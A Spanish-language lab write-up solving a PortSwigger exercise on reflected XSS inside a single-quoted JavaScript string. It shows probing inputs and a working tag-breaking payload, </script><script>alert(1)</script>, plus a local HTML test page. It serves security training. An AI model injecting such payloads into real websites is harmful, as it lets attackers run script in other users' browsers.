Reflected XSS into a JavaScript string with single quote and backslash escaped
Laboratorio de Portswigger sobre XSS
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene un reflected XSS en la funcionalidad de seguimiento de la consulta de búsqueda. La vulnerabilidad ocurre dentro de una cadena de JavaScript con comillas simples. Para resolver este laboratorio, debemos realizar un ataque XSS que rompa la cadena de JavaScript y llame a la función alert(). Para ello, debemos aprovechar las características del lenguaje JavaScript para escapar correctamente de la cadena y ejecutar el código malicioso
Guía de XSS
Antes de completar este laboratorio es recomendable leerse esta guía de XSS https://justice-reaper.github.io/posts/XSS-Guide/
Resolución
Al acceder a la web nos sale esto
Introducimos contenido en el cuadro de búsqueda
Observamos el código fuente y vemos que nuestro payload aparece entre comillas simples
Si intentamos usar el payload ' testing nos escapa la comilla simple
Si intentamos usar este payload \' testing y escapar la \ que nos escapa la ' tampoco nos deja, porque nos escapa también la \
Al introducir el payload <testing> nos damos cuenta de que no nos escapa los angle brackets <>
Debido a que las etiquetas <script> están dentro de un documento HTML podemos inyectar este payload </script><script>alert(1)</script> para cerrar la etiqueta <script> y posteriormente ejecutar la instrucción que nosotros deseemos
Para comprobar el funcionamiento nos abrimos vscode y nos creamos un documento HTML con este contenido
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<meta charset='utf-8'>
<meta http-equiv='X-UA-Compatible' content='IE=edge'>
<title>Page Title</title>
</head>
<body>
<script>
var x = '</script><script>alert(3)</script>';
<h1>Funcionó !!!<h1>
</script>
</body>
</html>
En la misma ruta en la que se encuentra este archivo nos montamos un servidor http, en mi caso lo he hecho con python -m http.server 80. Cuando accedemos a nuestro localhost nos encontramos que ha funcionado el payload, esto es el resultado del comportamiento del parsing del navegador cuando procesa el código HTML y JavaScript. Funciona también si el payload se inyecta entre comillas dobles (")










